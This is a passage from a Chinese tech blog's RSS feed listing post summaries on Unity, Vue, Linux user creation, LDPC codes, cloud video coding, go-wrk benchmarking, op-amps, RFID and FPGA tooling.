frameIndex)：返回BlendShape框架的权重。 之后下面是我使用的一个脚本，当使用的一个模型（FBX）下有好多分支模型节点时，使用这个脚本统一管理设置BlendShape。&#xA;using UnityEngine; public class BlendShapeModel : MonoBehaviour { private SkinnedMeshRenderer[] skinnedMeshRenderers; private string[] m_bsNameAll; void Start() {//获取初始化 skinnedMeshRenderers = GetComponentsInChildren&amp;lt;SkinnedMeshRenderer&amp;gt;(); m_bsNameAll = new string[skinnedMeshRenderers.</description>
    </item>
    <item>
      <title>浅谈一下，来自vue优点</title>
      <link>https://bchobby.github.io/posts/fff0f36497d44ad1a72fb8bb35dd9b14/</link>
      <pubDate>Fri, 07 Aug 2020 17:52:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fff0f36497d44ad1a72fb8bb35dd9b14/</guid>
      <description>vue有以下优点 轻量级框架: 只关注视图层, 是一个构建数据的视图集合, 大小只有十几kb&#xA;简单易学, 国人开发, 中文文档, 不存在语言障碍, 易于理解和学习;&#xA;组件化: 保留了react 的优点, 实现了html的封装和重用, 在构建单页面应用方面有着独特的优势; 视图, 数据, 结构分离: 使数据更改更为简单, 不需要进行逻辑代码的修改, 只需要操作数据的能完成相关操作:&#xA;虚拟DOM: dom操作是非常耗费性能的, 不再使用原生的dom操作节点, 极大解放dom操作, 单具体操作的还是dom, 只不过是换了另一种方式;</description>
    </item>
    <item>
      <title>Linux 创建新用户 异常提示/usr/bin/xauth: file /home/spring/.Xauthority does not exist</title>
      <link>https://bchobby.github.io/posts/c59a2ffcfe28e8245d72f70633e92f32/</link>
      <pubDate>Fri, 07 Aug 2020 15:59:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c59a2ffcfe28e8245d72f70633e92f32/</guid>
      <description>创建新用户，需要root权限设置&#xA;以root账号登录&#xA;进home目录，执行命令&#xA;cd /home&#xA;2 . 创建新用户 并 新建用户目录，执行命令&#xA;useradd spring -d /home/spring -m -g users 说明：&#xA;用户名为spring，-d指定用户所在目录，-m没有则创建，-g是指定用户组users&#xA;2. 设置密码, 执行命令后需要输入两次&#xA;passwd spring&#xA;3. 查看确认是否有/bin/bash，指定了sh访问， 执行命令&#xA;cat /etc/passwd&#xA;如果没有则需要修改成这样，执行命令&#xA;vim /etc/passwd&#xA;用该用户登录&#xA;如果抛出异常提示 /usr/bin/xauth: file /home/spring/.Xauthority does not exist&#xA;执行命令， 指定shell&#xA;usermod -s /bin/bash spring&#xA;然后就可以使用该用户正常登录了</description>
    </item>
    <item>
      <title>工业PDA的选购方法</title>
      <link>https://bchobby.github.io/posts/81ca60d9bf1e4ccc328970e0651e708c/</link>
      <pubDate>Fri, 07 Aug 2020 11:10:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81ca60d9bf1e4ccc328970e0651e708c/</guid>
      <description>工业PDA，又叫工业终端，现在国内的工业PDA品牌有很多，不同公司又有不同型号、不同应用系统的工业PDA，很多用户在挑选工业PDA的时候，不知道应该怎么选择。如何选购工业PDA?&#xA;工业PDA的选购方法 如何选购工业PDA?选购方法：&#xA;1、厂家实力：厂家的研发能力、生产力、创新力、产品的品质以及售后服务等，都决定了厂家的实力。具备一定实力和良好口碑的生产厂家，其工业PDA产品的质量才能有所保证。&#xA;2、售前售后服务：完善的服务体系可以保证一旦购买的工业PDA出现问题，均有专门团队答疑解难，为已购买的工业PDA保驾护航。&#xA;4、使用场景：不同的场景，在选购工业PDA的时候，要求不一样。企业应根据自身的应用需求来选择对应的功能模块。&#xA;5、续航能力：面对高频率的工作，如果电量无法保障，将影响资产管理人员的工作效率。&#xA;如何选购工业PDA?工业PDA优势：&#xA;1、专属识别、全程跟踪：通过工业PDA扫描功能，做到了物品的监管管理、物流应用、商家结算、消费者查询的功能统一。&#xA;2、节省人力，减少误差：传统的固定资产管理方法，人工抄录、人工录入，费时费力，工作量大，效率低下，错误率高，通过工业PDA采集，大大提高了信息采集效率，减少人力投入，满足现代快速的生产要求以及对数据信息快捷的把握与管理。</description>
    </item>
    <item>
      <title>LDPC码简介【定义、特点、算法、Tanner】</title>
      <link>https://bchobby.github.io/posts/8c7c27f51a0e6219ba9e60afefe2155d/</link>
      <pubDate>Fri, 07 Aug 2020 10:31:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c7c27f51a0e6219ba9e60afefe2155d/</guid>
      <description> LDPC码简介 低密度校验码（LDPC码）是一种前向纠错码，LDPC码最早在20世纪60年代由Gallager在他的博士论文中提出，但限于当时的技术条件，缺乏可行的译码算法，此后的35年间基本上被人们忽略，其间由Tanner在1981年推广了LDPC码并给出了LDPC码的图表示，即后来所称的Tanner图。1993年Berrou等人发现了Turbo码，在此基础上，1995年前后MacKay和Neal等人对LDPC码重新进行了研究，提出了可行的译码算法，从而进一步发现了LDPC码所具有的良好性能，迅速引起强烈反响和极大关注。经过十几年来的研究和发展，研究人员在各方面都取得了突破性的进展，LDPC码的相关技术也日趋成熟，甚至已经开始有了商业化的应用成果，并进入了无线通信等相关领域的标准。&#xA;LDPC码的特点&#xA;LDPC码是一种分组码，其校验矩阵只含有很少量非零元素。正是校验矩阵的这种稀疏性，保证了译码复杂度和最小码距都只随码长呈现线性增加。除了校验矩阵是稀疏矩阵外，码本身与任何其它的分组码并无二致。其实如果现有的分组码可以被稀疏矩阵所表达，那么用于码的迭代译码算法也可以成功的移植到它身上。然而，一般来说，为现有的分组码找到一个稀疏矩阵并不实际。不同的是，码的设计是以构造一个校验矩阵开始的，然后才通过它确定一个生成矩阵进行后续编码。而LDPC的编码就是本文所要讨论的主体内容。对于LDPC码而言，校验矩阵的选取十分关键，不仅影响LDPC码的纠错性能力，也影响LDPC编译码的复杂度及硬件实现的复杂度。准循环 LDPC 码(Quasi-Cycle,QC-LDPC)是 LDPC 码中重要的一类,是指一个码字以右移或左移固定位数的符号位得到的仍是一个码字。QC-LDPC 码的校验矩阵是由循环子矩阵的阵列组成，相对于其他类型的 LDPC 码，在编码和解码的硬件实现上具有许多优点。编码可以通过反馈移位寄存器有效实现，采用串行算法，编码的复杂度与校验比特位数成正比，而采用并行算法，编码复杂度与码字长度成正比。对硬件解码实现，准循环的结构简化了消息传递的路径，可以部分并行解码，实现了解码复杂度和速率的折中。这些优点，使得 QC-LDPC 码作为未来通信和存储系统应用的主要 LDPC 码。&#xA;译码算法的选择&#xA;译码方法是LDPC码与经典的分组码之间的最大区别。经典的分组码一般是用ML类的译码算法进行译码的，所以它们一般码长较小，并通过代数设计以减低译码工作的复杂度。但是LDPC码码长较长，并通过其校验矩阵H的图像表达而进行迭代译码，所以它的设计以校验矩阵的特性为核心考虑之一。由于 LDPC 码校验矩阵的稀疏性,其译码复杂度与码长不是指数关系,而是线性关系,因而 LDPC 码的码长可以很长，可以达到几千到几万甚至更高，这样带来的一个好处是：一个码字内各比特之间的关联长度比较长，一般通过迭代译码方法进行译码，充分利用码字内各比特的关联性以提高译码准确度,并且还充分利用了信道的特征。本课题采用的译码算法为置信传播（BP）译码算法，置信传播算法是基于 Tanner 图的迭代译码算法。在迭代过程中，可靠性信息，即“消息”通过 Tanner图上的边在变量节点和校验节点中来回传递，经多次迭代后趋于稳定值，然后据此进行最佳判决，BP译码算法有着非常好译码性能。&#xA;Tanner图&#xA;LDPC码常常通过图来表示，而Tanner图所表示的其实是LDPC码的校验矩阵。Tanner图包含两类顶点:n个码字比特顶点(称为比特节点)，分别与校验矩阵的各列相对应和m个校验方程顶点(称为校验节点)，分别与校验矩阵的各行对应。校验矩阵的每行代表一个校验方程，每列代表一个码字比特。所以，如果一个码字比特包含在相应的校验方程中，那么就用一条连线将所涉及的比特节点和校验节点连起来，所以Tanner图中的连线数与校验矩阵中的1的个数相同。以下图是矩阵的Tanner图，其中比特节点用圆形节点表示，校验节点用方形节点表示，加黑线显示的是一个6循环：&#xA;​​​​​​&#xA;Tanner图中的循环是由图中的一群相互连接在一起的顶点所组成的，循环以这群顶点中的一个同时作为起点和终点，且只经过每个顶点一次。循环的长度定义为它所包含的连线的数量，而图形的围长，也可叫做图形的尺寸，定义为图中最小的循环长度。如上图中，图形的尺寸，即围长为6，如加黑线所示。&#xA;LDPC编码 基于校验矩阵H直接编码方案&#xA;首先推导出根据校验矩阵直接编码的等式。将尺寸为（m,n）校验矩阵写成如下形式：&#xA;H = [ H 1 H 2 ] H = [ H 1 H 2 ] H = [ H 1 H 2 ] H=[H1 H2]H=[H1 H2] H=[H_1 \ H_2] H=[H1 H2]H=[H1 H2]H=[H1​ H2​]Kij​是校正因子，使每次计算出的 </description>
    </item>
    <item>
      <title>下一代视频编码技术的云视频应用探索</title>
      <link>https://bchobby.github.io/posts/c7453dba8d3f5a457a1d0d7478d7914d/</link>
      <pubDate>Fri, 07 Aug 2020 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7453dba8d3f5a457a1d0d7478d7914d/</guid>
      <description>本文由华为云资深产品专家左雯在LiveVideoStackCon2020线上峰会的演讲内容整理而成，本文从视频编解码技术的趋势、难点和挑战以及华为云视频产品的编解码关键技术实践与成果两方面介绍下一代视频编解码技术优化应用的探索。&#xA;文 / 左雯&#xA;整理 / LiveVideoStack&#xA;大家下午好，非常荣幸参加LiveVideoStack首届音视频线上峰会。先自我介绍一下，我叫左雯，来自华为云，是云视频服务的产品经理。在做产品经理之前，一直从事视频编解码算法研究优化、转码产品架构设计等工作！今天参加这个专题目的有两个，一个是想通过这次峰会，向大家分享一下华为云视频对下一代视频编码技术发展的想法和应用成果，另一个是像各位专家学习，相互交流，促进下一代视频编码技术的快速发展，推动云视频这个行业的发展。&#xA;今天分享的主题包括三个部分，首先是华为云视频对视频行业发展趋势的一些看法，以及这些趋势对下一代视频编码技术提出的挑战；其次从标准角度来介绍下一代视频编码技术以及华为相关工作；最后从云视频应用角度来具体介绍华为云在视频编码技术上的一些实践和探索。希望能给大家带来干货和技术启发。&#xA;1&#xA;视频行业趋势&#xA;5G、云、AI已经成为ICT行业甚至是整个社会的发展趋势，促使整个视频行业需求和技术不断演进，推动整个视频行业不断升级。如图所示，视频生命周期的每个环节都在更新升级，包括视频生产、视频处理、视频传输和视频消费。&#xA;视频生产：多源数据的采集，包括超高清、VR、自由视角、3D建模和视频渲染。&#xA;视频处理：基于AI让视频处理更实时、智能和准确，包括各种编码方式。&#xA;视频传输：超低时延的传输，云边协同等等。&#xA;视频消费：智能终端的深度结合提供视频服务的最佳体验。&#xA;视频行业本质是对媒体数据的处理，背后是算力、存储、网络、AI的支撑，同时视频行业又推动着5G、云、AI的不断前行，相辅相成！&#xA;视频演进带动了算力、存储、带宽需求的大幅增长。简单来看，视频分辨率越来越高，从高清到超高清再到8K/VR。算力增长 24倍，存储增长12倍，带宽增长 20倍。这些需求通过云，也只有通过云才能很好的满足，实现高质量的视频体验。云原生视频是行业趋势，视频将成为云的基础服务能力。&#xA;前面说的是行业的整体趋势，下面说一下具体场景。互联网视频发展已经历两个阶段，第一阶段从08年到13年，以长视频VOD、点播观看为热点；第二阶段，从13年到19年，也就是去年，其实还在延续，以直播、短视频为热点；第三阶段，也就是下一代会以什么为热点？我们认为因为5G、云、AI的推动，视频将进入实时互动、VR/AR时代。&#xA;互动视频方式从IM向实时音视频过渡。直播连麦，主播PK，直播带货，视频分发方式的升级，百毫秒级超低时延实时互动视频成为趋势。&#xA;VR/AR，360度视角带来沉浸式体验革命，用户从看视频向玩视频过渡，体验提升的同时，视频传输能力也从兆级向十兆甚至百兆级单流带宽提升。&#xA;RTC实时音视频会成为5G时代基础设施的核心控制点，RTC应用很广泛，它的市场年增长率是30%左右，而且这项技术不仅能赋能直播、游戏等泛娱乐行业，更能在在线医疗、教育、金融等大视频行业渗透。现有的实时音视频市场正处于爆发期，玩家很多，但由于它是非云厂商，难以持续发展。原因之一是它的技术门槛比较高，特别是像音视频编码或者整个RTC网络的构建，另一点是目前各家均采用私有协议的方式接入，各家互通、客户的自由切换都比较困难。在RTC视频业务产品上，我们认为音视频编码处理将是各家构建技术壁垒和性能差异化竞争力的关键之一。&#xA;另外一个应用场景就是Cloud VR，我们一直认为VR是5G技术发展下的关键场景。VR发展是一波三折的，但在目前来看，之前碰到的一些问题正在逐渐改善。从终端的角度来看，之前的终端很贵，但是目前千元终端机已经逐渐来临，而且体验也会越来越好。除了设备终端，VR此前还面临内容缺失的重大问题，而VR直播很大程度上缓解了内容缺乏的问题。&#xA;虽然困境在逐步改善，但VR目前还面临着新的问题。互联网VR业务很难形成商业闭环，主要原因在于VR业务带来了收入增加，但与此同时带宽增加更多，VR追求的高质量体验需要通过更高带宽来实现，高带宽势必会带来高成本，而高成本就会导致商业无法闭环。在这样的前提下，很多玩家都会通过降低体验来开展VR，比如说内容采用4K以下，码率采用10兆以下，终端采用卡片机来体验VR，虽然这样可以将VR的业务打通，但体验效果是很差的，也导致付费用户非常少，产业发展比较缓慢。所以在VR的发展上，我们认为通过视频压缩编码以降低带宽是关键，是可以帮助实现商业闭环的一个环节。&#xA;从前面讲述视频行业趋势不难看出，用户体验升级、视频产业升级、商业成本等驱动着视频全方位升级，分辨率从高清到8K，帧频从30帧到120帧，视场角从不到90度到360度，SDR到HDR等，这些参数升级推动视频压缩编码技术不断演进，追求压缩比是永恒不变的！&#xA;另外，前车之鉴，HEVC/H.265，其实是很优秀的编码技术，但因为前期不友好的专利政策，市场占有率一直不高13%。还好目前有所好转！整个行业急需压缩比更高、生态更完善、专利政策更合理的视频编码技术。&#xA;提升压缩比有两条路线，这也是各厂商正在做的。&#xA;标准技术路线，作为基础内核，H.266、AV1、AVS3、AI编码&#xA;非标技术路线，依赖基础标准，结合人眼感知特征，感知编码、内容编码、ROI编码&#xA;2&#xA;下一代视频编码技术&#xA;下面将从这两个角度来介绍华为云视频在下一代视频编码技术上的一些工作。这些技术得力于华为2012媒体技术院全力支持。&#xA;2.1 下一代视频编码标准技术&#xA;从上图看出，下一代的视频编码标准大概分为三个阵营或者三个类型：&#xA;国际标准：由MPEG、VVC联合推动的像VVC/H.266还有EVC；&#xA;国内标准：国内标准组织正在推出或已经推出的AVS3的phase1、AVS3的phase2，两者主要差别在于AVS3的第1阶段标准瞄准H.266，第二阶段的标准则是瞄准未来,可能会加入一些智能编码的技术；&#xA;谷歌牵头的AOM联盟推出的AV1，是一个开源技术。&#xA;下一代的视频编码技术仍是采用传统的演进思路——在经典架构上做模块增强。在H.266CFP时，华为联合其他几家公司提了P41提案，在PSNR和MOS评估方面都是排名第一，这个提案也是后面基础。华为在VVC里的核心专利数量已属于第一阵营，这是一个了不起的成就，也说明了国内的视频压缩编码基础研究实际上不弱于欧美传统的公司。&#xA;上图是以VVC为例，对其新增的增强工具进行盘点。纵轴是每个工具的压缩收益，横轴是每个工具编解码复杂度，编码复杂度的权重可能会更高一点。VVC在块划分、帧内预测、帧间预测、熵编码、变换量化等多个模块上进行了增强，其中主要的增强是帧内、帧间预测、块划分、滤波的增强以及机器学习工具演进带来的收益。VVC暂时没有引入深度学习这一类编码工具。&#xA;图中还有三个用红圈标出来的工具，这是VVC中公认trade off比较好的三个工具点。蓝色的是ALF，这是大家比较熟悉的自适应环路滤波，其实它在H.265的时代就已经有了， H.266将它引入标准中；绿色的是仿射运动预测，这个主要是由华为提出的；橙色的是量化技术。&#xA;EVC标准的提出某种程度是因为H.265/H.266的专利政策不友好，有可能导致H.266的落地都比较困难。MPEG希望能通过一个新的专利友好的标准来推动落地，同时也促使改变H.266、H.265的专利授权政策。EVC由华为、三星、高通等共同提出推动，华为在这里面加入了很多技术。在标准立项时期望它比H.265的压缩性能提升20%，实测在4K娱乐视频上相比H.265压缩效率提升达30%以上，目前已经进入了最终的标准投票阶段。&#xA;AVS3是国内提出的标准，它的phase1是瞄准H.266标准的，并且在2019年3月份就已经制定完成率先推出，在2019年9月份，华为海思也同步推出了AVS3 8K的解码芯片，AVS3相对H.265性能提升了20%以上，并且针对娱乐视频和监控视频做了很多针对性的设计，性能上还可进一步提升。&#xA;H.266实际已经基本定稿，它的压缩效率在4K视频场景下相较于H.265能提升40%左右，其解码复杂度相对提升60%，目前看最大的问题还是专利政策不够透明，而且专利费可能比较高，推广节奏可能相对比较慢。&#xA;EVC也基本定稿，而且其压缩效率也能提升30%左右，解码复杂度相对H.265增加60%。其专利收费可能相对比较低，第二是他的专利收费比较透明和明确，目前主要依靠三星、华为、高通来做产业的推动和生态的构建。&#xA;AVS3在2019年3月份推出，在性能上还是有保证的，压缩效率能够提升25%，复杂度增加相对较低，其专利收费也是比较低的，正通过互联网等行业做产业的推动和生态构建，目前实际上有很多联盟和和公司正在做推动，我们也希望AVS3尽快落地。&#xA;表格中没有列举AV1的数据，这主要是因为它和其他三个标准不太一样，AV1开源软件实际上是瞄准商用化去做的，大家也比较清楚其压缩效率和解码复杂度。AV1有个很大的优势就是没有专利费，这是AOM联盟的承诺。在产业落地方面AV1做的很好，生态构建走的较前。&#xA;2.2 AI编码&#xA;下一代视频编码标准还有一个趋势就是AI编码，这一块实际上从HEVC、VVC标准制定就有提出，但因为考虑计算复杂度以及AI硬件普适性，都暂时搁置了。但这是个技术趋势。&#xA;AI编码包括两个演进思路，第一个是全新架构，类似于图像编码，实际上AI的图像编码已经取得了不错的成效，谷歌牵头的AI图像编码技术都已经得到了很好地应用，但针对视频中的应用还在探索过程中。所谓的全新架构，就是不用传统架构，视频进入黑盒后会得出一个压缩过的视频，这个视频可能没有块划分，也没有各种其他的方式，它的压缩效率会非常高，但这一切还处于研究的过程中。&#xA;另外一个思路是基于经典架构，对每个架构里的模块做增强。例如针对块划分、变换、矢量量化、帧内预测做不同的AI网络适应和增强。实际上华为也在做这方面的研究，未来可能会提出一些AI编码方面的论文或提案。并且我们认为AI编码的这两种思路，最终将是融合设计的过程，不会呈相互独立的状态。&#xA;3&#xA;华为云视频应用和实践&#xA;3.1 云视频简介&#xA;上面简单介绍了下一代视频编码标准技术，下面介绍一下从实际商用及非标角度，介绍一下华为云视频在视频编码技术上的应用和实践。&#xA;首先介绍一下华为云视频，华为云视频是从2017年开始构建的，目前包括两大类业务，一种是比较传统的直播、点播、媒体处理以及监控业务，另一种是整个行业正在新晋的服务，比如RTC、VR/AR以及超高清制播。华为云视频面向很多的场景，例如娱乐直播、短视频、在线教育、企业直播、4K直播、4K制作等等，我们致力于帮助行业客户、伙伴、开发者、ISV快速上线应用，并帮他们构建差异化的竞争力，实现商业闭环。这里需要重点提一下RTC，RTC是华为云视频对下一代视频的理解并作出了实际的推动，针对RTC，我们重点构建超低时延、音视频质量等差异化竞争力。&#xA;3.2 视频编码技术&#xA;3.2.1 视频编码框架&#xA;结合今天的主题，下面重点讲解华为云视频在视频编码技术上的一些工作。这些技术得力于华为2012媒体技术院全力支持。上图比较直观地表达了这点。图中黄框表示了编码器的内核，所有的华为云视频编码的编码能力、编码服务都是基于编码内核。编码内核采用了一个标准的编码器，类似于前面提到的H.264、H.265、AVS3、H.266或者EVC这一类，在这个编码内核的基础上，我们面向不同的场景做了不同的编码技术的优化和实践。比如 面向RTC实时音视频场景，采用低时延编码技术；面向VR场景，采用FOV tile编码；面向多视角场景，采用空间云边协同编码；面向监控场景，采用智能语义编码；面向直播、点播，采用感知编码和画质增强等；另外，华为云视频借助鲲鹏、昇腾两大专有硬件，加速视频编转码效率。鲲鹏主要面向CPU这类计算，昇腾主要面向AI方面的加速。</description>
    </item>
    <item>
      <title>[Go菜牛系列]通过go-wrk进行HTTP接口压力测试</title>
      <link>https://bchobby.github.io/posts/60e155d0ae64735093b1298cc8ad74be/</link>
      <pubDate>Thu, 06 Aug 2020 23:19:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60e155d0ae64735093b1298cc8ad74be/</guid>
      <description>http 接口压力测试示例 go-wrk 是一个用Go语言实现的轻量级的http基准测试工具，类似于wrk，本文将简单介绍一下如何使用go-wrk实现接口的性能(压力)测试。&#xA;安装 go-wrk https://github.com/wg/wrk # 本次采用go-wrk测试 https://github.com/adjust/go-wrk git clone git://github.com/adeven/go-wrk.git cd go-wrk # 开启go modules的情况， 需要初始化配置(go1.11或以上) go mod init go-wrk go build go-wrk 选项说明 # #go-wrk [flags] url #./go-wrk --help Usage of ./go-wrk: -CA string A PEM eoncoded CA&#39;s certificate file. (default &#34;someCertCAFile&#34;) -H string the http headers sent separated by &#39;\n&#39; (default &#34;User-Agent: go-wrk 0.1 benchmark\nContent-Type: text/html;&#34;) -b string the http request body -c int the max numbers of connections used (default 100) -cert string A PEM eoncoded certificate file.</description>
    </item>
    <item>
      <title>运放专题：运放输出电压</title>
      <link>https://bchobby.github.io/posts/a92d98a50f7dfc84920190f9650407f1/</link>
      <pubDate>Thu, 06 Aug 2020 19:31:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a92d98a50f7dfc84920190f9650407f1/</guid>
      <description>运放输出电压 定义：在给定电源电压和负载情况下，输出能够达到的最大电压范围。或者给出正向&#xA;最大电压 VOH 以及负向最小电压 VOL——相对于给定的电源电压和负载；或者给出与电&#xA;源轨（rail）的差距。&#xA;优劣范围：一般运放的输出电压范围要比电源电压范围略窄 1V 到几 V。较好的运放&#xA;输出电压范围可以与电源电压范围非常接近，比如几十 mV 的差异，这被称为“输出至轨&#xA;电压”。这在低电压供电场合非常有用。当厂家觉得这个运放的输出范围已经接近于电源电&#xA;压范围时，就自称“输出轨至轨”，表示为 Rail-to-rail output，或 RRO。&#xA;理解：&#xA;在没有额外的储能元件情况下，运放的输出电压不可能超过电源电压范围，随&#xA;着负载的加重，输出最大值与电源电压的差异会越大。这需要看数据手册中的附图。&#xA;输出电压范围，或者输出至轨电压有如下特点：&#xA;1） 正至轨电压与负至轨电压的绝对值可能不一致，但一般情况下数量级相同；&#xA;2） 至轨电压与负载密切相关，负载越重（阻抗小） 至轨电压越大；&#xA;3） 至轨电压与信号频率相关，频率越高，至轨电压越大，甚至会突然大幅度下降；&#xA;4） 至轨电压在 20mV 以内，属于非常优秀。&#xA;实际运放的输出电压 一、我们将拿LM324 与 OPA2363 作为对比来看下运放的输出电压，以及轨至轨运放与非轨至轨运放的输出电压的区别。&#xA;需要说明：&#xA;1、LM324 为非轨至轨运放，可单电源供电也可双电源供电，数据手册如下图所示：&#xA;2、OPA2363为单电源，轨至轨运放，数据手册如下图所示：&#xA;二、我们用仿真的软件来看下负载大小这两款芯片的输出电压。&#xA;仿真电路接成单限电压比较器，&#xA;1、不带负载，当电路输出低电平时：&#xA;LM324的输出电压：-19.75mV （单电源供电，为什么还会出现负电压呢？）&#xA;OPA2363的输出电压：5.83mV&#xA;总结：这两款芯片输出低电平时，不是标准的的0V (均为单电源供电)。&#xA;2、不带负载，当电路输出高电平时：&#xA;LM324输出高电平为：4.02V （比电源电压略低）&#xA;OPA2363 输出高电平为： 5V (正好为电源电压)&#xA;总结：轨至轨运放输出的高电平为电源电压（正电源轨），非轨至轨运放输出高电平接近电源电压（正电源轨），但离电源电压还有一段距离。&#xA;3、带2k负载，输出高电平时：&#xA;LM324 输出高电平为：3.89V（比空载时的4.02V略低）&#xA;OPA2363输出高电平为：4.93V(比空载时的5V略低)&#xA;总结：运放的输出电压不可能超过电源电压范围，随着负载的加重，输出最大值与电源电压的差异会越大&#xA;**三、**信号频率对运放输出电压的影响&#xA;把电路接成同相比例放大电路， 放大倍数为5倍，以使输出信号幅值饱和&#xA;1、信号源：幅值1V 1KHz 正弦波 看电路：</description>
    </item>
    <item>
      <title>mui 上下拉刷新pullRefresh</title>
      <link>https://bchobby.github.io/posts/780e8e85cfe15a280f4a8ba1ff45a1b4/</link>
      <pubDate>Thu, 06 Aug 2020 17:49:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/780e8e85cfe15a280f4a8ba1ff45a1b4/</guid>
      <description>mui 上下拉刷新pullRefresh，例子&#xA;&amp;lt;!doctype html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no&#34; /&amp;gt; &amp;lt;link href=&#34;../css/mui.min.css&#34; rel=&#34;stylesheet&#34; /&amp;gt; &amp;lt;script src=&#34;../js/mui.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; li { height: 30px; line-height: 30px; font-size: 14px; color: #bbb; text-indent: 4%; border-bottom: 1px solid currentColor; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!--下拉刷新容器--&amp;gt; &amp;lt;div id=&#34;refreshContainer&#34; class=&#34;mui-content mui-scroll-wrapper&#34;&amp;gt; &amp;lt;div class=&#34;mui-scroll&#34;&amp;gt; &amp;lt;!--数据列表--&amp;gt; &amp;lt;ul class=&#34;mui-table-view mui-table-view-chevron&#34; id=&#34;list&#34;&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; charset=&#34;utf-8&#34;&amp;gt; var dataJson = { &#34;header&#34;: { &#34;ret&#34;: &#34;S&#34; }, &#34;</description>
    </item>
    <item>
      <title>RFID资产管理的应用效果</title>
      <link>https://bchobby.github.io/posts/8ca18045e76a9a1380d04bf13efdf579/</link>
      <pubDate>Thu, 06 Aug 2020 14:11:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ca18045e76a9a1380d04bf13efdf579/</guid>
      <description>RFID资产管理的应用效果有哪些?RFID资产管理正在逐步取代传统管理方式，在使用的时候，可以提高工作效率，节省成本，更能避免很多人为差错。&#xA;RFID资产管理的应用效果 RFID资产管理的亮点：&#xA;1、盘点&#xA;工作人员盘点资产时，只需持有RFID盘点机就可读取到资产上的RFID电子标签信息，同时通过通讯接口将所读取到的信息传给服务器，服务器通过应用软件再对这些信息进行相应的处理。如果发现扫描的数据和数据库中现存的数据有冲突时，则产生报警，核对无误后则完成盘点操作。同时生成盘点、盘盈和盘亏报表。&#xA;2、出入库&#xA;在资产出入处设置RFID门禁。资产进出门禁时，门禁会自动识别贴有电子标签的资产，读到其相关信息，并将信息上传后台服务器，如果该资产未经授权移动，即属于非法标签，门禁会有报警提示。同样，当资产到达目的地的时候，被其门禁读到，系统会更新资产信息。&#xA;RFID资产管理的应用效果：&#xA;1、提升盘点速度：RFID盘点机快速盘点，盘点速度提升数倍以上，自动生成盘点报表。&#xA;2、及时掌握资产信息：对于每个资产，都能及时了解总数量、所在位置、使用状态、使用人、折旧金额等信息。&#xA;3、全生命周期管理：RFID资产管理可进行资产新增、调拨、领用、盘点、维修、报废等全生命周期管理过程。&#xA;4、提高管理效率，降低差错率：通过RFID资产管理系统，实现资产自动化管理，管理效率提高一半以上，在一定范围内达到了预期的应用效果。&#xA;5、资产去向可查：每当资产进行领用、借用、调拨、维修等申请后，都会生成对应的操作记录，给到资产管理员进行审批，及时了资产规范操作，去向可查。</description>
    </item>
    <item>
      <title>greenplum mirror节点的 wal receiver process</title>
      <link>https://bchobby.github.io/posts/d5607b1126ba353ad52ad075c5fed645/</link>
      <pubDate>Thu, 06 Aug 2020 11:57:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5607b1126ba353ad52ad075c5fed645/</guid>
      <description>WalReceiverMain 进程，这里有个 bug，如果 mirror 节点本身的日志比 primary 还要多，这样会出问题，但不知道 greenplum 有没有修复这个 bug。&#xA;首先读出 timeline 的位置，进入 wal 的接收状态 （walrcv_receive），当有消息到来，告知 primary 节点已收到日志，将日志刷盘后，再告知 primary 节点，刷盘的消息。&#xA;创建 xxx.done 文件来标记备份完成。并等待下一条消息（WalRcvWaitForStartPosition）。&#xA;startup 背景进程收到消息后，会读 wal 文件，执行 redo（RmgrTable[record-&amp;gt;xl_rmid].rm_redo(ReadRecPtr, EndRecPtr, record);）</description>
    </item>
    <item>
      <title>Vivado学习笔记一</title>
      <link>https://bchobby.github.io/posts/61c9ceabb9bbd0257eb383bc01817ee5/</link>
      <pubDate>Thu, 06 Aug 2020 11:25:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61c9ceabb9bbd0257eb383bc01817ee5/</guid>
      <description>Vivado开发流程 主要流程新建工程源文件仿真综合约束方法一：利用I/O Planning方法二：手动输入约束命令 设计实现 小结 主要流程 在Vivado中创建RTL设计&#xA;进行HDL编写&#xA;设置激励仿真&#xA;综合、实现、进行管脚约束&#xA;生成bit文件下载到FPGA&#xA;新建工程 1.打开Vivodo2019.1&#xA;2.点击Create Project&#xA;点击Next&#xA;为新建工程命名，注意路径和名字不要有中文&#xA;点击Next&#xA;选择RTL project，源文件之后再配置，勾选Do not specify sources at this time&#xA;选好了之后点击Next&#xA;选择FPGA版型号，Nexys4 DDR对应型号为xc7a100tcsg324-1，点击Next&#xA;点击Finish完成创建&#xA;创建完成后的界面如下&#xA;选择左上角的Add Sources&#xA;选择Add or create design sources，点击next&#xA;点击Create File以创建Source File&#xA;点击Finish完成创建&#xA;点击OK完成创建&#xA;源文件 双击test.v文件可以进行程序的编写，左上角点击保存别忘了&#xA;写一个简单的两个开关分别控制两个LED，代码如下&#xA;module test( input [1:0]SW, output [1:0]LED ); assign LED[1]=SW[1]; assign LED[0]=SW[0]; endmodule 仿真 然后写仿真程序&#xA;首先添加仿真文件，点击Add sources，选择Add or create simulation sources&#xA;双击tb_test.v文件编写程序，代码如下&#xA;`timescale 1ns / 1ps module tb_test( ); reg [1:0]SW; wire [1:0]LED; test uut( .</description>
    </item>
    <item>
      <title>Python爬虫实战导航索引，30个爬虫项目让你一次吃到撑！！！</title>
